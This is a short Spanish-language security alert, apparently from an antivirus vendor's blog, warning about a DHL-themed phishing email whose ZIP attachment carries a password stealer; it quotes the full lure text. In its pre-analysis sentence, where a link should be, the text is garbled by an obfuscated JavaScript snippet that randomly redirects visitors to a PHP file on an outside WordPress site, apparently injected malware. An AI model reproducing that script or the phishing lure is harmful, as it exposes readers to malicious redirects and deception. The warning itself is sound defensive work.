NUEVO MAIL MASIVO MALICIOSO QUE ESTA LLEGANDO APARENTANDO VENIR DE DHL (PHISHING)

El texto del mail es el siguiente:

_____________

Asunto: DHL failed Delivery Notification (Bill of Lading: TAO184053)
De: “Alberto Lirola (DHL ES) ” <alberto.lirola@dhl.com>
Fecha: 03/10/2018 8:41
Para: undisclosed-recipients:;

Arrival Notice

Our Ref: GOT/731104

Bill of Lading: TAO184053

Your Ref:

Dear customer,

We tried to deliver your package at 06:15 PM on 02 October, 2018.
The delivery attempt failed because nobody was present at the shipping
address, so this notification has been automatically sent.

If the parcel is not scheduled for re-delivery or picked up within 72 hours,
it will be returned to the sender.

Please check attached file for tracking details and schedule another
delivery time.

Do not hesitate to contact us for further assistance.

Best regards,
Alberto Lirola (DHL ES)
E-mail: alberto.lirola@dhl.com

This is an e-mail message from DHL. The information contained in this communication is intended solely for use by the individual or entity to whom it is addressed. Use of this communication by others is prohibited. If the e-mail message was sent to you by mistake, please destroy it without reading, using, copying or disclosing its contents to any other person. We accept no liability for damage related to data and/or documents which are communicated by electronic mail.

fichero anexado: DHL failed Delivery Notification (Bill of Lading T.zip —> malicioso : PWS Tisumi
______________

El preanalisis del ZIP anexado $NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/f030a7e75211d28bef296163d3bc7d118974eb1f75c78d6f421fbf481a2e6598/analysis/1538559395/” target=”_blank” rel=”noopener”>ofrece el siguiente informe>

Dicho nuevo malware pasamos a controlarlo a partir del ELISTARA 39.83 de hoy

saludos

ms, 3-10-2018